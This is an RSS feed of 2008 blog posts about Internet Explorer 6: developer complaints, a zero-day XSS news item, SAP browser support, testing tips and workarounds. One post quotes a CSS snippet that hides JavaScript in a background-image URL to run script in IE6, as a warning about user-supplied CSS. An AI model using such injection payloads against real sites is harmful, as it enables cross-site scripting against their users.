<link>http://canmasagi.wordpress.com/?p=59</link>
<pubDate>Fri, 04 Jul 2008 02:41:18 +0000</pubDate>
<dc:creator>canmasagi</dc:creator>
<guid>http://canmasagi.wordpress.com/?p=59</guid>
<description><![CDATA[Fedora Linux + Wine + Wine Doors rasanya asyik. Freedom dan Infinity di Linux plus menyelamatkan sof]]></description>
<content:encoded><![CDATA[<p>Fedora Linux + Wine + Wine Doors rasanya asyik. Freedom dan Infinity di Linux plus menyelamatkan software-software proprietary yang terlanjur di beli oleh kantor. Jadi boss ngak marah nih! O ya, Wine Doors adalah aplikasi manajemen aplikasi Windows untuk GNOME di Linux. tujuannya adalah untuk memudahkan kita menginstall aplikasi Windows di Linux. Suatu paduan kemudahan dan keamanan yang tangguh!</p>
<p>Wine Doors merupakan kemudahan yang dibuat pembuatnya di <a href="http://www.wine-doors.org">http://www.wine-doors.org</a> dalam menginstall paket-paket aplikasi dan libraries. tidak seperti winetricks yang geeky Wine Doors sangat user friendly dan mirip Yumex dalam menginstall kebutuhan kita.</p>
<p>Untuk donwload Wine Doors (dalam bentuk rpm untuk Fedora) silakan kunjungi situsnya. Syarat mutlak agar wine doors jalan adalah Wine sendiri, dan glade2.</p>
<p>Instalasi cukup jalankan:</p>
<p># rpm -ivh wine-doors*.rpm</p>
<p>Untuk menjalankannya Wine Doors nangkring di Applications &#62; System Tools dan klik Iconnya disana. Pertama-tama kita musti mencontreng apakah kita punya lisensi Windows?</p>
<p>Di bawah ini adalah screenshot Wine Doors sedang beraksi.</p>
<p><img class="alignnone" src="http://lh3.ggpht.com/ywandianoe/SG2A16ImTLI/AAAAAAAAAys/_BFBycxUkzc/s400/Winedoors.png" alt="Install IE6" /></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[IE IS INSECURE. NUH UH. YUH HUH...]]></title>
<link>http://barelygreen.wordpress.com/?p=41</link>
<pubDate>Sun, 29 Jun 2008 09:52:37 +0000</pubDate>
<dc:creator>Ankeet</dc:creator>
<guid>http://barelygreen.wordpress.com/?p=41</guid>
<description><![CDATA[I came across this page which gives a very crappy example of why endusers shouldn&#8217;t be allowed]]></description>
<content:encoded><![CDATA[<p>I came across this <a title="Embed Javascript in CSS" href="http://www.hedgerwow.com/360/dhtml/css_embed_js_for_ie6.html" target="_blank">page</a> which gives a very crappy example of why endusers shouldn't be allowed to add their own CSS on some site.<br />
Here's the CSS:<br />
<!--more--><br />
<code><br />
d = new Date<br />
document.body.insertAdjacentHTML('AfterBegin', '&#60;h2 class="hack"&#62;Embedding Javascript int5o CSS on IE6 on ' + d + ' &#60;/h2&#62;' )<br />
alert('done');<br />
/*Some funny ASI Craracters here*/<br />
($_$)&#38;(%_%)^(@__*)/~~&#62;BaCkGrOuNd-ImAgE:url(\ja\vasc\ri\pt:/*@cc_on (Function(document.body.currentStyle.fontFamily))()  @*/);</code><br />
Okay, the author didn't know how to spell 'characters'. But the point was crappy enduser code, that can end up posing a risk to other endusers. Obviously this only works in certain (probably older) versions of IE... the problem? The javascript is located in the CSS itself. And in IE6 it works. The bigger problem? The IE4+ <code>insertAdjacentHTML</code>. I wanted to play with some generated content in a related manner, but now it's 6 AM... I shall sleep. While I do that, discuss? If there's anyone to dicuss anyways.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Apresentando: Ramon e a barra de topo...]]></title>
<link>http://h2odeskmod.wordpress.com/?p=2814</link>
<pubDate>Sun, 29 Jun 2008 02:57:37 +0000</pubDate>
<dc:creator>Ramon de Souza</dc:creator>
<guid>http://h2odeskmod.wordpress.com/?p=2814</guid>
<description><![CDATA[Olá moçada! Pra quem não me conhece, me chamo Ramon, sempre ajudo os blogueiros e a comunidade op]]></description>
<content:encoded><![CDATA[<p><img class="alignleft" src="http://h2odeskmod.files.wordpress.com/2008/05/msnnnnnnn.png" alt="Msn" />Olá moçada! Pra quem não me conhece, me chamo Ramon, sempre ajudo os blogueiros e a comunidade open-source. Mas de tanto ajudar o Diego com a H2O, acabei virando colaborador do blog..</p>
<p>Mas esse não é bem o assunto do post. Queria mesmo saber o que vocês acharam da barra estilo office lá em cima. O que mais precisa ter?? Funciona corretamente no seu navegador?? Comente!</p>
<p style="text-align:center;"><!--more Continue lendo…--></p>
<p><span style="color:#ff0000;">Atenção: No  Internet Explorer 6, não funciona, mas se você usa ele, e quer ver a barra, faça um upgrade pro Firefox :D, é "Bão d+" e você não vai se arrepender.</span></p>
<p>Editado: O que você achou, agora, do visual do longhorn? Ainda vamos mudar mais... ( E o tema da enquete vem vindo :D )</p>
<p>Pessoal, não copiem o código da barra sem autorização do Diego. Este é um direito da H2O.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[IE6 zero-day cross-site scripting bug reported]]></title>
<link>http://smokeys.wordpress.com/?p=109</link>
<pubDate>Fri, 27 Jun 2008 21:35:13 +0000</pubDate>
<dc:creator>Smokey</dc:creator>
<guid>http://smokeys.wordpress.com/?p=109</guid>
<description><![CDATA[Security researchers are warning users about an unpatched cross-site scripting bug in Internet Explo]]></description>
<content:encoded><![CDATA[<p>Security researchers are warning users about an unpatched cross-site scripting bug in Internet Explorer 6 (IE6) that could be used by hackers to capture keystrokes and steal other information.</p>
<p>At BlueHat, researcher Manuel Caballero, who has worked for Microsoft as an independent penetration tester, said he had found a way to capture every browser action, including keystrokes used to type passwords. In a videotaped interview that Microsoft conducted during BlueHat, Caballero said that the combination of Flash and any browser, not just IE, could be hacked with a malicious script to give attackers full access to the browser.</p>
<p>The vulnerability is caused due to an input validation error when handling the 'location' or 'location.href' property of a window object. This can be exploited by a malicious website to open a trusted site and execute arbitrary script code in a user's browser session in context of the trusted site.</p>
<p>IE7, the current version of Microsoft's browser, does not contain the vulnerability, both Secunia and McAfee said. Until Microsoft produces a patch for the older browser, users should update to IE7, they added.</p>
<p>Sources: <a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&#38;articleId=9103859">ComputerWorld, Secunia, McAfee</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Developing for IE6, will it ever end?]]></title>
<link>http://marketingformavens.wordpress.com/?p=38</link>
<pubDate>Fri, 27 Jun 2008 13:47:41 +0000</pubDate>
<dc:creator>Chris</dc:creator>
<guid>http://marketingformavens.wordpress.com/?p=38</guid>
<description><![CDATA[Over the last few days I&#8217;ve been troubleshooting some CSS styling issues with IE6. This is no ]]></description>
<content:encoded><![CDATA[<p>Over the last few days I've been troubleshooting some CSS styling issues with IE6. This is no different than much of the design and development work I've done on web sites and applications over the past several years but this time, I seriously considered not supporting IE6 any longer. I've become spoiled but the ever increasing amount of standards compliant web browsers that all render very close to each other with the exception of some minor tweaks. Then we have IE6. </p>
<p>Yesterday, as I ran into a very frustrating bug, it led me to wonder how many wasted hours do web developers spend per day trying to code for IE6? It has to be hundreds hours per day worldwide. This is a browser that is well past it's life span but for whatever reason continues to have 40% to 70% market share depending on your audience. Is IE6 good enough for that many people that they refuse to upgrade or do they just not know that at the very least IE7 is available to them? Either way, at some point, I think we need to move on with or without these people. For now, I'm going to continue to put fixes in place for IE6 but my patience for this browser is wearing thin. Hopefully sometime soon we can move on from the IE6 nightmare and for me, and I'm sure most web developers/designers, this can't happen soon enough.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Browser Support and SAP CRM]]></title>
<link>http://johanvanzijl.wordpress.com/?p=33</link>
<pubDate>Thu, 26 Jun 2008 08:28:45 +0000</pubDate>
<dc:creator>Johan van Zijl</dc:creator>
<guid>http://johanvanzijl.wordpress.com/?p=33</guid>
<description><![CDATA[My default Web Browser is still Internet Explorer 6.0. Not that I particularly like IE 6, I happen t]]></description>
<content:encoded><![CDATA[<p>My default Web Browser is still Internet Explorer 6.0. Not that I particularly like IE 6, I happen to have Firefox, Opera and Safari installed as well.</p>
<p>But, most of my customers still use IE6 and some of their(woefully unpatched) SAP CRM 4.0 and 5.0 IC WebClient Systems still require IE6.</p>
<p>A quick run down on IC WebClient browser support(all the versions support IE6) from the <a href="http://service.sap.com/pam">PAM</a>:</p>
<ul>
<li>CRM 4.0 - IE7 has been released(11 July 2007) conditionally to the implementation of notes <a href="https://service.sap.com/sap/support/notes/986254">986254</a>, <a href="https://service.sap.com/sap/support/notes/1005093">1005093</a> and <a href="https://service.sap.com/sap/support/notes/981710">981710</a>.</li>
<li>SAP CRM 5.0 - IE7  is supported with CRM 5.0 Support Pack 10 since 29 July 2007. Also note that the WebClient on IE7 with Vista will only be supported by 30 September 2008!</li>
<li>SAP CRM 2007 - IE7 support came standard. Also, there is <a href="https://service.sap.com/sap/support/notes/1152983">limited support</a> for Firefox 2(This really works, except for the bloody ActiveX controls).</li>
</ul>
<p><strong>Bottom line, IE6 is still the most trusted and reliable browser to use with the WebClient.</strong></p>
<p>Microsoft released IE7 in October 2006 and it took SAP 9 months to get the WebClient to work with it. It seems IE8 is in beta on <a href="http://www.betanews.com/article/Microsofts_IE_architect_IE8_is_what_weve_been_building_up_to/1204770085">its way later this year</a>. Time will tell if the final version 8 will fix the <a href="http://www.gtalbot.org/BrowserBugsSection/MSIE8Bugs/">bugs</a> and be as standards compliant as promised.</p>
<p>I don't think there was anything wrong with SAP developing the IC WebClient(and most of its other BSP Applications) only for IE6 as that was what 99% of its customers were using at the time(I have never seen anything other than IE on a corporate network). However, I imagine SAP spent a truck load of money to make its 3 supported CRM versions work with IE7. Now, IE8 is coming and I wonder how much it will cost SAP to provide IE8 support.</p>
<p>My hope is that SAP realizes that by chasing compatibility for individual browser editions is inefficient. Developing to a standard such as <a href="http://www.w3.org/TR/xhtml1/#xhtml">XHTML</a>, wasn't feasible 2 years ago, but it surely must become the development direction now.</p>
<p>And there is no reason why you shouldn't be able to display SAP Notes(also a BSP application) with a <a href="http://www.gtalbot.org/BrowserBugsSection/Opera9Bugs/">relatively standards compliant browser</a> such as Opera. By the way, Opera is not supported for any HTMLB based BSP applications, so this is not a CRM specific issue.</p>
<p><a href="http://johanvanzijl.files.wordpress.com/2008/06/opera.jpg"><img class="alignnone size-medium wp-image-38" src="http://johanvanzijl.wordpress.com/files/2008/06/opera.jpg?w=300" alt="Opera SMP" width="300" height="140" /></a></p>
<p>A final thought relating to the screenshot above. Why should SAP completely bomb me out if I use an unsupported browser? Why not just run the page and see what happens? Its not as if I am going to log a message about it as the PAM clearly omits Opera as a supported platform.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Collusion dream]]></title>
<link>http://pottingshed.wordpress.com/?p=356</link>
<pubDate>Tue, 24 Jun 2008 14:51:31 +0000</pubDate>
<dc:creator>Gareth J M Saunders</dc:creator>
<guid>http://pottingshed.wordpress.com/?p=356</guid>
<description><![CDATA[Fancy starting a new campaign with me? It&#8217;s a campaign of collusion for Web designers and it]]></description>
<content:encoded><![CDATA[<p>Fancy starting a new campaign with me? It's a campaign of collusion for Web designers and it's really pretty simple, I can't believe that we've not thought of it sooner.</p>
<p>Here's how it goes: we all agree to <em>completely ignore</em> the existence of Internet Explorer!</p>
<p>That's it!  As simple as that.</p>
<p>It will, of course, lead to conversations like this:</p>
<blockquote><p><strong>Client</strong>: That new site you've just designed, it doesn't work in Internet Explorer</p>
<p><strong>Web designer</strong>: Inter.. what?</p>
<p><strong>Client</strong>: Internet Explorer.  My web browser.  Internet Explorer 7.  IE7?</p>
<p><strong>Web designer</strong>: IE7? Never heard of it.</p>
<p><strong>Client</strong>: You <em>must</em> have heard of it.  <em>Internet Explorer</em>!  It comes installed on <em>every</em> Windows PC.</p>
<p><strong>Web designer</strong>: It's not on mine.  Seriously? It's called <em>IE7</em>? ... nope! Really doesn't ring a bell, I'm afraid. It must be one of those really tiny, unpopular browsers.  We don't support those, there's no point.</p></blockquote>
<p>That's my dream anyway, and has absolutely nothing to do with my spending a week debugging some code in IE6 and IE7 ... whatever they are.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Testing multiple versions of Internet Explorer]]></title>
<link>http://makeitmobile.wordpress.com/?p=17</link>
<pubDate>Tue, 24 Jun 2008 01:34:01 +0000</pubDate>
<dc:creator>marblegravy</dc:creator>
<guid>http://makeitmobile.wordpress.com/?p=17</guid>
<description><![CDATA[We all know how completely un-awesome Internet Explorer 6 is and how un-wonderfully it complies to a]]></description>
<content:encoded><![CDATA[<p>We all know how completely un-awesome Internet Explorer 6 is and how un-wonderfully it complies to all those standards and stuff. As website designers, the world would be a much happier place if everyone was using Firefox or at least IE7, but unfortunately the world is a miserable place with millions of people still trolling around the internets with the now very outdated Internet Explorer 6.</p>
<p>Unfortunately for us, each verison of Internet Explorer uses the same resources to get the job done which means installing multiple versions is impossible. Or so I thought.</p>
<p><strong>Standalone browsers</strong></p>
<p>These look to be fantastic as they don't overwrite any of the system files that your main browser uses. What this means is that you are effectively testing a fresh copy of IE6 (or earlier if you really feel the need) on the same system as IE7 or IE8.</p>
<p>You can grab the standalone installers from here -&#62; <a href="http://browsers.evolt.org/?ie/32bit/standalone">http://browsers.evolt.org/?ie/32bit/standalone</a></p>
<p><strong>A note on Vista</strong></p>
<p>After fishing around for a very long time, it apppears that the only way to test in IE6 on a Windows Vista machine is to run a Virtual System. Microsoft has a <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=21eabb90-958f-4b64-b5f1-73d0a413c8ef&#38;displaylang=en">full set of instructions on how to set this up</a>.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[IE6 Javascript Form Submission - Hit or Miss]]></title>
<link>http://curisu.wordpress.com/?p=9</link>
<pubDate>Thu, 12 Jun 2008 00:38:28 +0000</pubDate>
<dc:creator>Chris Nojima</dc:creator>
<guid>http://curisu.wordpress.com/?p=9</guid>
<description><![CDATA[Internet Explorer 6, a venerable old browser to be sure, is still widely used despite the availabili]]></description>
<content:encoded><![CDATA[<p>Internet Explorer 6, a venerable old browser to be sure, is still widely used despite the availability of much better (and free) alternatives.  This continues to be a time-sink for any front-end developer.</p>
<p>While not at all a technical observation, my one reproducable use-case around this bug was by:</p>
<ol>
<li>Programatically creating a DOM Element <em>&#60;div&#62;</em></li>
<li>Dynamically creating and assigning an <strong>onclick</strong> event handler to the <em>&#60;div&#62;</em></li>
<li>Trying to submit a given form with validation and some custom hidden <em>&#60;input&#62;</em> fields.</li>
</ol>
<p>What I observed is that the click propagation doesn't seem to want to return from the <strong><em>onclick</em></strong> handler function</p>
<p><strong>Here's a fun one:</strong></p>
<p><code>document.getElementById("myFormId").submit();</code></p>
<p>Should be straightforward, correct?  In some select cases, this actually will not work.</p>
<p><strong>The workaround:</strong><br />
Set the scope to the document level and force submission with a short timeout.</p>
<pre><code>document.doSubmit = function() {
    document.getElementById("myFormId").submit();
}
setTimeout("document.doSubmit();", 50);</code></pre>
<p><strong>Putting it all together:</strong><br />
Here's your trigger, say an &#60;img&#62; tag:<code><br />
&#60;img src="..." onclick="submitMyForm();" /&#62;<br />
</code></p>
<p>Here's the form submit function:</p>
<pre><code>function submitMyForm() {
    // do some validation, completion checking, etc.
    ...
    // now call the externalized submit function
    document.doSubmit();
}</code></pre>
<p>Here's the setTimeout handler:</p>
<pre><code>document.doSubmit = function() {
    document.getElementById("myFormId").submit();
}</code></pre>
<p>The &#60;img&#62; tag's <em>onclick</em> event calls <em>submitMyForm() </em>which then calls <em>document.doSubmit()</em> .</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[anti IE6]]></title>
<link>http://tudorizer.wordpress.com/?p=15</link>
<pubDate>Sun, 08 Jun 2008 12:17:11 +0000</pubDate>
<dc:creator>tudorizer</dc:creator>
<guid>http://tudorizer.wordpress.com/?p=15</guid>
<description><![CDATA[jQuery plugin to warn a user to upgrade from IE6. Strike back at MS&#8217; empire  
Beacause this fi]]></description>
<content:encoded><![CDATA[<p>jQuery plugin to warn a user to upgrade from IE6. Strike back at MS' empire :)</p>
<p>Beacause this files are so small, I suggest sticking them to some other .js in your site, to make fewer HTTP requests to the server.</p>
<p>Here are the resources:<br />
JS: <a href="http://www.mediafire.com/?ueny360bhpt" target="_self">http://www.mediafire.com/?ueny360bhpt</a><br />
CSS: <a href="http://www.mediafire.com/?5nebmmjmxhn" target="_self">http://www.mediafire.com/?5nebmmjmxhn</a></p>
<p>DEMO (open with IE6): <a title="demo" href="http://madisonsoccercentral.com/admin/anti-ie6/" target="_self">http://madisonsoccercentral.com/admin/anti-ie6/</a></p>
<p><strong>How to use: </strong>just include the .js file. Done !</p>
<p>Please post feedback with your mods or suggestions.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Stop Supporting IE6? Reddit Has!]]></title>
<link>http://twodayslate.wordpress.com/?p=196</link>
<pubDate>Wed, 28 May 2008 02:24:05 +0000</pubDate>
<dc:creator>://</dc:creator>
<guid>http://twodayslate.wordpress.com/?p=196</guid>
<description><![CDATA[IE6 has been in a downward spiral since FF. With the release of IE7 and the development of IE8, not ]]></description>
<content:encoded><![CDATA[<p>IE6 has been in a dow<img style="float:right;" src="http://tbn0.google.com/images?q=tbn:IdJ_ZKp9NvXDPM:http://blog.wired.com/photos/uncategorized/reddit_alien.png" alt="" width="87" height="101" />nward spiral since FF. With the release of IE7 and the development of IE8, not to mention the open source movement, people start to question why they are using old software. <a href="http://www.reddit.com/info/6kuxu/comments/">Reddit.com</a> recently released a beautiful new redisign and they have chosen to not support IE6. It still looks fine in IE6 but it does not look 'perfect'. Is this the beggining to an end of IE6? A step in the right direction? A mistake? You decide 2008!</p>
]]></content:encoded>
</item>

</channel>
</rss>
